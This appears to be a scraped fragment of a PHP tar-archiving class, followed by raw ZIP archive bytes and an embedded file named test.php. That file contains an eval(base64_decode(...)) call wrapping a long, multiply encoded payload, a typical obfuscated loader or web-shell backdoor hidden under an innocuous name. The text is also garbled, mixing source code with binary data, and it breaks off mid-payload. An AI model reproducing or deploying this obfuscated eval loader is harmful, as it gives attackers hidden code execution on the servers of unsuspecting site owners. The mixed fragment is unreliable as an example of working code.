$this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK J'�Z'��O�� �� 373064596test.phpnu �[��� <?php eval(base64_decode('CiBldmFsKGJhc2U2NF9kZWNvZGUoIlwxMDNceDY5XDEwMlx4NmVceDYyXHgzM1wxMjJcMTY2XDExMVwxMDVcMTA2XHg2ZFwxMTZceDdhXDEyMlwxNzFcMTE3XDE3MVx4NDJcMTE0XHg2M1wxNTNcMTIyXDE3MFwxNDJceDdhXDE1N1x4NjdcMTEyXDEwN1wxMjJceDY4XDE0NFx4NDdcMTA1XHg2N1x4NTBcMTIzXHg0Mlx4NjlceDU5XHg1OFx4NGVceDZjXHg0ZVwxNTJcMTIyXHg2Nlx4NWFceDQ3XDEyNlx4NmFcMTQyXDYyXDEyMlwxNTRceDRiXDEwM1wxMjJcMTY3XHg1OVwxMzBcMTU0XHg3M1x4NjJceDMyXHg0Nlx4NmJcMTEzXDEyNFx4NzNcMTQ3XDEzMlx4MzJcNzFceDMwXHg2Mlx4NzlcMTAyXHgzNVx4NTlceDU1XHg0YVwxMTNceDU3XHg2YVwxNjNcMTQ3XDE0NFx4NTRceDRhXDE1M1x4NWFceDZhXHg0OVw2Nlx4NDlceDQ3XHg1YVx4NzZcMTQzXDE1MVx4NDFcMTU3XDExMlwxMDdcMTUzXDE0N1wxMjBceDUzXDEwMVx4NzdceDRmXDE3MVwxMDFcMTUzXHg2MVwxMjNceDQxXDcwXDExMVwxMTBcMTE2XDYwXDE0M1wxNTVceDc4XHg2Y1wxNDJceDY5XDE0N1wxNTNcMTMyXDEwN1x4NDZcNjBcMTMxXDEyM1wxNTNceDM3XDExMVwxMDNcMTIyXDE2MFwxMTNcMTcxXHg3M1wxNjBcMTExXDExMFx4NzNcMTQ3XHg0YVwxMDdceDUyXDE1NFx4NTlcNjNceDRhXDY1XHg2M1x4NDhceDUyXDE1NFx4NWFceDQzXDEwMVx4NzVcMTIwXDEyM1wxMDFceDZiXHg1YVx4NDdceDQ2XHgzMFwxMzFceDU2XHg3M1x4NmJcMTQxXDEyNlx4MzBceDY3XDEzMFx4NjlcMTAxXHg2Ylx4NjFcNjJceDU2XDY1XHg1N1wxNzFcMTIyXDE2MFwxMTFceDQzXDEyNVx4NjdceDYzXDYzXHg1MlwxNzFceDYyXDEwN1wxMjZceDc1XHg0YlwxMDNcMTIyXDE2Mlx4NWFceDU4XHg2YlwxNjBcMTMwXHg1NFwxNjNceDY3XDE0Nlx4NTNceDQyXHg2ZVwxNDJcNjNcMTIyXDE2NlwxMTFcMTA1XDE2NFx4NzJceDYyXDYxXHg1NVx4NzhceDRmXDE3MVx4NDJceDc0XDE0MVx4NmVceDY0XDE2NVwxNDFceDdhXDE1N1x4NjdcMTMyXHg1OFx4NWFcMTUwXDE0MlwxMDNcMTQ3XHg2OVwxMzBceDQ0XDE0M1x4MzNcMTMwXHg0OFwxNDdceDdhXHg1YVwxMjNceDQ5XHg2N1wxMTRcMTUxXHg0MVx4NmJceDU5XHgzMlw3MVwxNTNceDVhXDEyM1wxNTNcNjdcMTExXHg0N1wxNDRcMTY2XDE0NFx4NDdcNzBceDY3XDEyM1wxNTNcMTIyXHg2Y1wxNDJcMTA1XDcwXHgzN1x4NDlcMTA1XHg3NFwxNjJcMTQyXDYxXHg1NVx4NzhcMTE3XDE1MVwxMDFcMTUzXDEzMVx4MzJceDM5XHg2YlwxMzJceDUzXDEwMVw3MVwxMTFceDQ3XDE0NFx4MzZceDYxXHg1N1w2NVwxNTVcMTQyXDEwN1wxMDZcNjBceDVhXDEyM1wxNDdceDZiXHg1YVwxMDdcMTI2XHg2YVx4NjNceDZlXDE1NFwxNjdcMTQ0XDEwN1x4NTZceDZiXHg0YlwxMjRceDczXDE0N1x4NWFcNjJcNzFcNjBceDYyXHg3OVwxMDJceDc0XDE0MVx4NmVceDY0XHg3NVwxNDFceDdhXDE2M1x4NjdcMTQ1XDEyN1wxMDZceDQzXHg1M1wxNTRcMTU3XHgzNlwxMTFcMTAzXDEyMlwxNTNcMTMyXHg1N1x4NGVceDc5XDE0NVwxMzBceDQyXHgzMFx4NWFcMTI3XDEyMVx4NjdcMTIwXDEyM1x4NDFcMTU2XHg0YVx4N2FceDczXHg2N1wxMzJcNjJcNzFcNjBceDYyXHg3OVx4NDJcNjFcMTE1XHg2ZFwxMjJcMTU1XDExNVx4NmFcMTYzXDE0N1wxMjFceDU3XHg1OVw2M1wxMTZcMTEwXDExMVw2NlwxMTFcMTAzXHg1Mlx4NzJcMTMyXDEzMFx4NmJceDY3XDEyMFwxMjNcMTAxXHg2OVwxMzBcMTA0XHg0NVwxNzBcMTE1XHg0NlwxNjdcMTcwXDExNlwxMDRcMTI2XDE0M1wxNDVcMTA0XHg1YVx4NmJceDU4XHg0OFx4NjdceDMwXHg0ZVwxMjZcMTY3XDE3MFwxMTVceDU0XDEyMlwxNDNceDY1XHg0NFx4NTFcNjVcMTMwXHg0NFx4NDVcMTcxXHg0ZFwxMDZceDc4XHgzNFwxMTZcMTI0XDEwMVx4NjlceDRmXHg3OVwxMDJcMTU2XDE0Mlw2M1wxMjJceDc2XDExMVwxMDdceDUyXDEwN1x4NjRcMTA0XDE1NFx4NThcMTE3XHg3OVx4NDJcMTUzXHg1Mlx4NmVceDUxXDY1XDEyNlx4N2FceDZmXDE0N1x4NGFceDQ4XHg0MlwxNTBcMTQ1XHg1N1wxNzBcMTY2XDEzMVx4NTdceDUxXDE0N1wxMjBcMTIzXHg0MVx4NjlcMTMwXHg0OFx4NjdcNjJcMTE3XHg0Nlx4NzhceDM0XDExNlx4NTRceDUyXDE0M1wxMTZceDU0XDExNlwxNDNcMTQ1XDEwNFx4NTFcNjNceDU4XHg0OFwxNDdceDMzXHg0ZlwxMjZcMTcwXHgzNFwxMTVcMTcyXHg1NlwxNDNceDY1XDEwNFwxMzFcMTcyXDEzMFwxMTBceDY3XDYxXHg0ZFx4NDZcMTcwXHgzNFwxMTZceDdhXDE1MFwxNDNceDY1XHg0NFx4NjNcMTcwXDEzMFwxMDRceDU5XHgzMFwxMzBcMTEwXHg2N1x4MzJceDVhXHg1NlwxNzBcNjRcMTE2XDE3MlwxMDJceDYzXHg0ZFwxMjRceDRkXHg3OFwxMzBcMTA0XDEwNVwxNzBceDRkXHg1NlwxNjdcMTcwXDExNVx4NmFcMTMyXDE0M1wxMTVceDU0XHg1OVwxNzBcMTMwXHg0NFwxMDVceDMxXDExNlx4NmNcMTY3XHgzMlwxMTVcMTA2XDE2N1wxNzBceDRkXHg2YVx4NGVcMTQzXHg0ZFx4NTRceDQ5XHgzM1wxMzBceDQ0XHg0NVx4N2FceDRkXDE1NFx4NzdceDc4XDExNVwxNTJcMTAyXDE0M1x4NGRcMTI0XDEwNVx4NzdcMTMwXHg0NFwxMDVcMTcwXDExNlx4NmNceDc3XHg3OFx4NGVcMTcyXDEwNlwxNDNceDRlXHg1NFwxNDRceDYzXHg0ZVwxNTJcMTI2XHg2M1wxMTVcMTI0XDEzMVwxNzJcMTMwXDEwNFwxMzFceDMzXHg1OFwxMTBceDY3XDYwXDEzMVw2MVwxNjdceDc4XHg0ZVwxNTJcMTI2XDE0M1x4NGRceDU0XHg0NVwxNzFceDU4XDEwNFwxMDVcMTcwXDExNVx4NTZcMTcwXDY0XHg0ZVwxNTVceDUyXHg2M1wxMTVcMTI0XHg0MVw2MFx4NThcMTA0XHg0NVwxNzBcMTE1XDEyNlx4NzdceDc4XHg0ZFx4NmFceDU2XHg2M1x4NjVceDQ0XHg2M1x4MzJceDU4XDEwNFwxMDVcNjBcMTE1XDEyNlx4NzhceDM0XDExNVwxNzJceDRlXDE0M1x4NGRcMTI0XDEwNVx4MzNceDU4XDExMFx4NjdceDMxXDExNVx4NDZcMTY3XHgzMVx4NGRcNjFcMTcwXHgzNFx4NGVceDU0XDEzMlx4NjNceDY1XDEwNFx4NjNcNjFceDU4XHg0OFwxNDdcNjFceDRmXDEyNlwxNjdceDc4XDExNVwxMDRcMTA2XDE0M1wxNDVcMTA0XHg1OVw2NVwxMzBcMTEwXHg2N1x4N2FcMTE1XHg1NlwxNjdcMTcwXDExNlwxMjRceDUyXHg2M1x4NjVcMTA0XHg0ZFx4MzBcMTMwXHg0OFx4NjdceDdhXDExNlx4NDZceDc4XDY0XDExNlwxNTVcMTIyXHg2M1x4NGRcMTI0XHg1OVw2M1wxMzBceDQ4XHg2N1w2MVwxMTdcMTA2XHg3OFx4MzRceDRlXHg0N1x4NTZcMTQzXDE0NVwxMDRceDYzXHgzMlwxMzBceDQ0XHg0NVw2MVx4NGVcMTU0XHg3OFw2NFx4NGVcMTA0XDE1NFwxNDNcMTE2XHg2YVx4NjRceDYzXHg0ZFx4NTRcMTIxXHgzMVx4NThceDQ0XDEwNVx4MzFceDRlXDYxXDE2N1wxNzBceDRkXHg1NFwxMjJcMTQzXDE0NVwxMDRcMTE1XDE3MFx4NThceDQ4XDE0N1w2MVx4NGVcNjFceDc4XDY0XHg0ZVx4NDRceDU2XDE0M1wxNDVcMTA0XDExNVwxNzBcMTMwXDEwNFx4NDVceDMxXDExNlx4MzFcMTY3XDE3MFwxMTZcMTUyXDEzMlx4NjNcMTQ1XDEwNFwxMzJceDZkXHg1OFx4NDhcMTQ3XDYxXHg0Zlx4NDZcMTY3XDE3MFx4NGVceDZhXDExMlwxNDNcMTE1XDEyNFx4NTlceDMzXHg1OFx4NDhceDY3XDYyXDEzMlx4NDZceDc4XDY0XHg0ZVwxNTVcMTEyXDE0M1x4NGRcMTI0XHg0OVx4NzlceDU4XDEwNFx4NDVcNjFcMTE2XDEyNlx4NzhcNjRcMTE2XHg0NFx4NjhceDYzXDExNVx4NTRceDQ1XHg3N1wxMzBcMTEwXHg2N1w2M1x4NGVceDMxXDE3MFw2NFwxMTZcMTA3XDExMlx4NjNcMTQ1XDEwNFwxMzJceDZkXDEzMFwxMTBcMTQ3XHg3YVx4NGZcMTA2XHg3N1x4NzhcMTE1XDE3Mlx4NDZceDYzXDExNVwxMjRceDU1XDE3MVx4NThcMTA0XDEwNVw2MVx4NGVcMTA2XDE3MFw2NFx4NGVceDU0XHg1MlwxNDNcMTQ1XDEwNFwxMTVceDdhXHg1OFwxMTBceDY3XDYyXDEzMlx4NmNcMTY3XHg3OFwxMTZcMTUyXDE0NFx4NjNceDY1XHg0NFx4NGRceDc5XDEzMFwxMTBceDY3XDE3Mlx4NGRceDU2XHg3N1x4NzhceDRlXDE3MlwxMDJcMTQzXHg2NVx4NDRcMTI1XDE3MFwxMzBceDQ4XDE0N1x4MzNceDRkXHg1NlwxNjdcNjJceDRkXHg0NlwxNzBcNjRcMTE1XDE3Mlx4NDZceDYzXDExNVwxMjRceDYzXHg3OFx4NThceDQ4XDE0N1w2MFwxMzFceDZjXHg3N1x4NzhcMTE1XHg0NFx4NTZcMTQzXDE0NVwxMDRceDU5XDYwXDEzMFwxMDRceDU5XHg3OFwxMzBceDQ0XDEwNVx4MzFcMTE2XHg0Nlx4NzhcNjRceDRlXDEwNFwxMDZceDYzXDE0NVwxMDRceDYzXDE3Mlx4NThcMTA0XDEwNVwxNzFceDRkXDEyNlwxNzBceDM0XDExNlx4NTRcMTE2XHg2M1x4NGRcMTI0XHg1NVx4N2FcMTMwXDExMFx4NjdcMTcyXHg0ZVwxMDZcMTcwXHgzNFx4NGVcMTA0XHg1YVwxNDNcMTE1XDEyNFwxMDFceDMyXDEzMFx4NDhceDY3XHgzMFx4NTlcMTI2XDE3MFw2NFwxMTVceDdhXHg1Mlx4NjNcMTE1XDEyNFx4NTVceDMyXHg1OFx4NDhcMTQ3XDE3MlwxMTdceDU2XHg3OFx4MzRcMTE2XHg2YVwxMTZceDYzXDE0NVx4NDRcMTMxXHgzNFwxMzBcMTEwXDE0N1x4MzBcMTE2XDEyNlx4NzdcMTcwXHg0ZFx4NmFcMTA2XHg2M1wxNDVceDQ0XHg1OVw2NFx4NThcMTA0XDEyNVwxNzJcMTMwXDEwNFwxMzFcNjJcMTMwXDExMFx4NjdceDMyXHg1OVwxMjZcMTY3XDE3MFwxMTVcMTA0XHg1YVx4NjNceDY1XHg0NFx4NTlcNjJcMTMwXHg0NFx4NDVceDMyXDExNlwxMjZceDc3XDE3MFwxMTVceDdhXHg0Nlx4NjNcMTQ1XDEwNFx4NjNcNjBcMTMwXHg0NFwxMDVceDMwXDExNVx4MzFceDc3XDE3MFwxMTZcMTA0XHg0NlwxNDNceDRlXDE3Mlx4NDZceDYzXHg0ZFwxMjRceDQ5XHgzMFx4NThceDQ0XHg0NVwxNjdcMTE1XDYxXHg3N1wxNzBcMTE1XDEyNFx4NjRcMTQzXDE0NVwxMDRcMTI1XHgzNFwxMzBceDQ0XHg0NVwxNzBceDRlXDYxXHg3OFw2NFwxMTZceDQ0XDE0NFwxNDNcMTE1XDEyNFwxMjFcMTcwXDEzMFx4NDhcMTQ3XDYxXDExNVwxNTRceDc4XHgzNFwxMTZcMTU1XDExMlwxNDNceDRkXHg1NFx4NTFcMTcxXDEzMFwxMTBcMTQ3XDYyXDExNVwxMjZceDc4XDY0XHg0ZVx4N2FcMTE2XDE0M1x4NjVceDQ0XDEzMVw2NFwxMzBceDQ0XDEzMVx4MzJcMTMwXHg0NFwxMDVceDc3XHg0ZVwxMDZceDc4XDY0XHg0ZVx4NmFceDVhXHg2M1x4NjVcMTA0XDExNVw2MFx4NThcMTA0XHg1NVx4N2FcMTMwXHg0OFwxNDdceDc5XDEzMlwxNTRceDc3XHg3OFwxMTVceDZhXDE0NFx4NjNcMTE1XDEyNFx4NTlcMTcwXDEzMFwxMTBcMTQ3XHgzMlx4NGZcMTI2XHg3N1x4NzhcMTE2XDEyNFwxMjZcMTQzXDE0NVwxMDRcMTE1XDE3MVx4NThcMTEwXDE0N1x4MzBceDU5XHg1NlwxNzBcNjRceDRlXHg2YVx4NDZcMTQzXDE0NVwxMDRceDU5XDE3MFwxMzBceDQ4XHg2N1w2M1wxMTVcMTA2XHg3OFw2NFx4NGVceDdhXDEwMlx4NjNceDY1XDEwNFx4NTFceDMzXDEzMFwxMDRcMTMxXHgzM1wxMzBceDQ0XDEwNVx4NzlcMTE2XDE1NFwxNjdcMTcwXHg0ZVwxNTJcMTIyXHg2M1wxMTVceDU0XDEwNVx4N2FcMTMwXDEwNFx4NDVcNjJceDRlXDEyNlwxNzBceDM0XDExNlx4NTRcMTA2XHg2M1wxNDVceDQ0XDEzMVx4MzNceDU4XHg0OFx4NjdceDdhXHg0ZVw2MVwxNzBceDM0XHg0ZVx4NmRceDU2XHg2M1x4NGRcMTI0XHg0NVwxNjdcMTMwXDExMFwxNDdcNjNcMTE2XHg0NlwxNjdceDc4XDExNlx4NDRcMTQ0XDE0M1x4NGRceDU0XDEzMVwxNzBcMTMwXHg0NFx4NDVcMTcxXHg0ZVw2MVwxNjdceDc4XDExNVx4NTRceDQ2XDE0M1wxNDVcMTA0XDExNVx4MzJceDU4XDEwNFx4NDVceDc3XHg0ZFx4NmNceDc3XHg3OFx4NGRceDQ0XHg2NFwxNDNcMTQ1XDEwNFwxMzFcMTcxXHg1OFx4NDhceDY3XHgzMFx4NGVceDQ2XHg3N1x4NzhcMTE2XDEwNFx4NTJcMTQzXDExNVx4NTRceDU1XHg3OVx4NThcMTEwXHg2N1wxNzJcMTE1XHg2Y1wxNzBceDM0XDExNlx4N2FceDUyXHg2M1wxNDVceDQ0XDE0M1wxNjdcMTMwXHg0OFwxNDdceDc5XHg1YVwxNTRceDc4XHgzNFx4NGVcMTcyXHg0ZVx4NjNceDY1XDEwNFx4NTlceDc4XHg1OFx4NDhcMTQ3XDYwXDEzMlx4NTZcMTY3XHg3OFwxMTVceDQ0XHg0ZVx4NjNceDRkXDEyNFx4NTlcMTcyXDEzMFwxMTBceDY3XDE3MlwxMTZceDU2XDE3MFw2NFx4NGVcMTcyXDEwMlwxNDNceDRkXDEyNFx4NTVceDc3XDEzMFx4NDRcMTA1XHgzMVwxMTZceDU2XDE3MFw2NFx4NGVcMTA3XDEyNlx4NjNceDY1XHg0NFwxMjJceDY5XDEzMFx4NDRcMTA1XDE3MFwxMTVcMTA2XHg3OFx4MzRceDRlXDE1Mlx4NGFceDYzXHg0ZFx4NTRceDU1XHg3OVx4NThceDQ0XHg0NVw2MFwxMTZcMTI2XHg3OFw2NFwxMTZceDZhXDExMlx4NjNcMTQ1XHg0NFwxNDNcNjVcMTMwXDExMFwxNDdcNjNceDRkXDYxXHg3OFx4MzRceDRlXHg3YVx4NTJceDYzXHg2NVwxMDRceDYzXDE3MFx4NThceDQ0XHg0NVx4NzhceDRkXHgzMVwxNjdceDc4XHg0ZVwxNzJcMTAyXDE0M1wxNDVcMTA0XHg1OVx4NzhceDU4XDEwNFx4NDVcNjBcMTE1XDYxXHg3N1wxNzBceDRlXHg0NFwxMTJcMTQzXHg2NVx4NDRceDYzXHgzMlwxMzBceDQ0XHg0NVwxNzFcMTE2XHg1NlwxNzBcNjRcMTE2XDE1MlwxMTZceDYzXDExNVx4NTRcMTAxXDYwXDEzMFx4NDRceDQ1XHgzMlwxMTVcMTI2XDE3MFw2NFwxMTZceDZhXDE0NFx4NjNceDRkXDEyNFx4NTFceDMzXDEzMFx4NDRcMTA1XDYyXHg0ZVx4NmNcMTY3XDE3MFwxMTZceDU0XHg0NlwxNDNceDRkXDEyNFwxMDVcMTcxXDEzMFx4NDhceDY3XHgzM1wxMTVcMTU0XHg3OFw2NFx4NGVcMTA3XDExNlwxNDNcMTE1XDEyNFwxMDFcNjNcMTMwXDEwNFx4NDVcMTcwXDExNVx4NTZcMTY3XDE3MFx4NGVcMTI0XHg0MlwxNDNceDRkXHg1NFx4NTFceDMwXDEzMFwxMDRceDQ1XDYyXHg0ZVx4NmNcMTcwXDY0XDExNlx4NmFcMTU0XDE0M1x4NjVcMTA0XDEyNVwxNzJceDU4XHg0NFx4NDVcMTcyXHg0ZFx4NDZcMTY3XHg3OFwxMTVceDZhXHg0Mlx4NjNceDY1XDEwNFx4NTVcNjJceDU4XDExMFwxNDdcNjBceDRkXDYxXDE2N1wxNzBcMTE1XHg1NFx4NWFceDYzXHg0ZFwxMjRceDQxXDYyXDEzMFx4NDhcMTQ3XDYwXHg1OVx4MzFcMTY3XHg3OFwxMTVcMTA0XDEyNlwxNDNcMTQ1XHg0NFwxMTVceDdhXHg1OFwxMTBceDY3XHgzMFwxMTZceDZjXHg3OFw2NFwxMTZceDZhXDExMlwxNDNceDY1XHg0NFx4NTVceDMyXDEzMFwxMDRcMTA1XHgzMlwxMTZcNjFceDc3XHg3OFx4NGRceDQ0XDExNlx4NjNceDRlXHg1NFx4NjRceDYzXDE0NVwxMDRceDU1XHgzM1wxMzBceDQ4XDE0N1x4MzNceDRkXDEyNlx4NzhcNjRcMTE2XHg2ZFx4NTZceDYzXDExNVwxMjRceDQ5XDYyXHg1OFx4NDhceDY3XDYxXDExN1wxMjZcMTY3XDYyXDExNlw2MVx4NzdceDc4XHg0ZFx4NTRcMTE2XDE0M1wxNDVcMTA0XHg0ZFw2MVx4NThceDQ4XHg2N1w2M1x4NGRcNjFceDc3XHg3OFwxMTVcMTI0XDEyNlwxNDNceDY1XDEwNFwxMTVcMTcxXDEzMFwxMTBcMTQ3XHg3YVx4NGZceDU2XDE2N1wxNzBcMTE1XDEyNFx4NjRcMTQzXHg2NVwxMDRcMTMxXDE3MFwxMzBceDQ0XHg0NVx4MzNcMTE1XDEwNlwxNzBceDM0XDExNlx4NmFceDU2XHg2M1wxNDVceDQ0XDEyNVwxNzFceDU4XHg0OFwxNDdceDdhXDExNlx4MzFceDc3XDE3MFwxMTVcMTUyXHg1YVx4NjNcMTE2XHg1NFwxMTZceDYzXDE0NVwxMDRcMTI1XHgzMlx4NThceDQ0XHg0NVx4MzJcMTE1XDYxXHg3N1x4NzhcMTE2XDEyNFwxMTZcMTQzXDExNVwxMjRceDQ1XHgzM1wxMzBceDQ0XDEwNVw2MFx4NGVcMTI2XHg3OFx4MzRceDRlXHg2ZFwxMTZcMTQzXHg2NVx4NDRcMTIxXHgzNFx4NThcMTEwXHg2N1wxNzJcMTE1XDYxXHg3OFw2NFx4NGRceDdhXHg1NlwxNDNcMTQ1XHg0NFx4NGRceDMyXDEzMFx4NDRceDQ1XHgzMFx4NGRcNjFcMTcwXHgzNFwxMTZcMTA0XHg2NFx4NjNcMTE1XDEyNFwxMjVcNjNceDU4XHg0OFwxNDdceDdhXDExN1wxMjZceDc4XHgzNFwxMTZceDZhXHg1MlwxNDNceDY1XDEwNFwxMTVcNjVcMTMwXHg0OFx4NjdcNjFcMTE1XHg2Y1x4NzdcMTcwXDExNVwxMjRcMTEyXDE0M1x4NjVceDQ0XHg1NVx4N2FcMTMwXDExMFx4NjdceDMwXDExN1x4NTZcMTY3XHgzMlx4NGVceDZjXHg3N1x4NzhcMTE1XHg1NFwxMTJceDYzXHg0ZFx4NTRceDUxXHgzM1wxMzBcMTEwXHg2N1x4MzFceDRlXDEwNlwxNzBcNjRcMTE2XDE1Mlx4NTZceDYzXHg0ZFwxMjRcMTAxXDYwXHg1OFx4NDhceDY3XDYyXHg1YVwxNTRcMTY3XDE3MFwxMTVceDQ0XDEzMlwxNDNcMTE1XDEyNFx4NTVceDMyXHg1OFx4NDhcMTQ3XDYxXDEzMVwxMjZceDc3XDE3MFx4NGVcMTI0XHg1Nlx4NjNcMTE1XHg1NFwxMzFceDMxXDEzMFx4NDhcMTQ3XDYxXDExN1x4NTZceDc4XHgzNFwxMTZcMTI0XHg2Y1x4NjNcMTQ1XDEwNFwxMjVceDM0XHg1OFwxMDRceDQ1XDE3MVwxMTVcNjFcMTcwXHgzNFx4NGRceDdhXHg1MlwxNDNcMTE1XHg1NFx4NDVcMTcwXHg1OFwxMTBcMTQ3XHgzM1wxMTVcNjFcMTcwXHgzNFwxMTVceDdhXDEzMlx4NjNcMTE1XDEyNFx4NDlceDMwXHg1OFx4NDhceDY3XHgzMlx4NGVceDQ2XHg3N1x4NzhcMTE1XHg3YVx4NDZcMTQzXDE0NVwxMDRceDUyXHg2OFx4NThceDQ0XDEwNVwxNzJcMTE1XDEwNlwxNzBcNjRceDRlXHg0N1wxMDZcMTQzXHg2NVx4NDRcMTMxXHg3YVwxMzBcMTEwXHg2N1w2Mlx4NTlceDZjXHg3OFw2NFwxMTZcMTA3XHg1Nlx4NjNcMTE1XDEyNFx4NDlcNjNceDU4XHg0NFx4NTlceDc4XHg1OFx4NDhcMTQ3XDYzXDExN1x4NDZceDc3XHg3OFx4NGRcMTI0XHg0ZVwxNDNceDY1XHg0NFx4NTJcMTUwXDEzMFx4NDRcMTA1XHg3OFx4NGVceDQ2XDE3MFx4MzRcMTE2XHg1NFwxMzJceDYzXDE0NVwxMDRceDU1XHgzMlwxMzBcMTEwXHg2N1w2M1wxMTdcMTA2XDE3MFw2NFwxMTZcMTcyXDExNlx4NjNcMTE1XHg1NFwxMzFceDc3XHg1OFwxMDRceDQ1XHg3OVwxMTVceDZjXHg3OFw2NFwxMTZceDQ0XHg2OFx4NjNcMTE1XHg1NFwxMDVcNjBceDU4XHg0NFx4NDVcNjJceDRkXDYxXDE2N1w2Mlx4NGVceDU2XHg3N1x4NzhceDRlXDE1MlwxMjZceDYzXDExNVx4NTRcMTI1XDYxXHg1OFwxMTBcMTQ3XDYyXHg0ZFw2MVwxNzBcNjRcMTE2XDE3MlwxMDJceDYzXHg0ZFwxMjRceDRkXHg3OFwxMzBcMTEwXHg2N1w2M1x4NGRceDU2XHg3OFw2NFx4NGVcMTU1XHg1MlwxNDNcMTQ1XDEwNFwxMzJceDZhXDEzMFx4NDRceDQ1XDYxXHg0ZVwxNTRcMTcwXDY0XDExNlx4NmFceDUyXHg2M1wxMTVcMTI0XDEwMVx4NzhceDU4XDEwNFx4NDVceDc5XDExNVx4MzFcMTcwXHgzNFwxMTZceDU0XHg1YVwxNDNceDY1XDEwNFwxNDNceDc5XDEzMFx4NDhceDY3XHgzMlwxMTZcMTA2XHg3N1x4NzhceDRlXDEwNFx4NDZcMTQzXHg0ZFwxMjRcMTExXHg3OFx4NThcMTA0XHg0NVw2MFx4NGRceDMxXHg3N1x4NzhcMTE2XHg2YVwxMDZcMTQzXDE0NVwxMDRcMTE1XHg3N1wxMzBcMTEwXHg2N1x4MzBcMTMxXHg2Y1wxNjdceDc4XDExNVx4NDRcMTI2XHg2M1wxMTVceDU0XHg0NVx4MzJceDU4XDEwNFwxMDVcMTcxXHg0ZVx4NTZcMTcwXHgzNFx4NGRcMTcyXDExNlwxNDNcMTE1XHg1NFwxMTFceDc4XDEzMFwxMTBcMTQ3XHgzMVx4NGVcMTU0XHg3OFx4MzRcMTE2XHg0NFwxNTBcMTQzXDExNVx4NTRceDQ1XHgzMlwxMzBcMTEwXHg2N1w2M1x4NGRceDMxXDE2N1wxNzBceDRkXDEyNFx4NTJceDYzXHg2NVwxMDRceDUyXDE1Mlx4NThceDQ4XDE0N1wxNzFceDVhXDE1NFx4NzhceDM0XDExNlwxMDRcMTU0XHg2M1wxMTVceDU0XHg1NVwxNzJcMTMwXHg0OFwxNDdcNjJceDU5XDYxXHg3OFw2NFwxMTZcMTUyXHg0NlwxNDNcMTQ1XDEwNFwxMzJceDZiXHg1OFx4NDRcMTA1XHgzM1wxMTVcMTA2XDE3MFx4MzRceDRlXDE1MlwxNDRceDYzXDExNVwxMjRceDRkXDE3MVwxMzBceDQ4XHg2N1x4MzNceDRkXHgzMVwxNzBcNjRceDRlXHg3YVx4NGFcMTQzXHg2NVx4NDRcMTE1XHgzNFx4NThceDQ0XDEwNVx4MzBceDRlXDE1NFx4NzdcMTcwXHg0ZVx4NDRceDUyXDE0M1wxMTZceDZhXHg0NlwxNDNcMTE1XHg1NFwxMDFceDMyXDEzMFx4NDhceDY3XDYzXDExN1wxMjZcMTcwXDY0XHg0ZVwxMDdceDUyXDE0M1x4NjVceDQ0XHg1YVwxNTJceDU4XDEwNFx4NDVcMTY3XHg0ZFwxMjZceDc4XDY0XDExNVx4N2FcMTAyXDE0M1wxNDVcMTA0XHg1MVw2M1x4NThcMTEwXHg2N1x4MzNcMTMxXDEyNlx4NzdceDc4XDExNlwxNTJcMTE2XHg2M1wxNDVcMTA0XHg0ZFwxNzJcMTMwXDEwNFx4NDVceDc3XDExNlwxNTRceDc3XHg3OFwxMTZcMTcyXHg0YVx4NjNceDY1XHg0NFx4NTVcMTcxXDEzMFwxMTBcMTQ3XHg3YVx4NGRcMTU0XHg3OFx4MzRcMTE2XHg1NFx4NWFcMTQzXDE0NVx4NDRcMTIxXHg3OFwxMzBceDQ4XDE0N1x4MzNceDRkXDE1NFx4NzdceDc4XDExNlwxMjRceDUyXDE0M1wxMTVcMTI0XHg1NVx4MzBcMTMwXHg0OFx4NjdcNjFcMTE1XDE1NFwxNjdceDMyXHg0ZFx4NTZceDc4XDY0XDExNlx4N2FceDRhXHg2M1wxMTVceDU0XDEzMVx4NzdcMTMwXHg0NFwxMjVcMTcyXHg1OFwxMTBcMTQ3XDYyXHg0ZVx4NDZceDc3XDE3MFx4NGRceDZhXDExNlwxNDNceDY1XHg0NFx4NGFceDY5XDEzMFwxMDRceDQ1XDE2N1x4NGVceDU2XDE2N1x4NzhcMTE2XHg3YVx4NGFceDYzXHg0ZFwxMjRceDUxXHgzMVx4NThcMTA0XHg0NVw2MFwxMTZceDQ2XHg3OF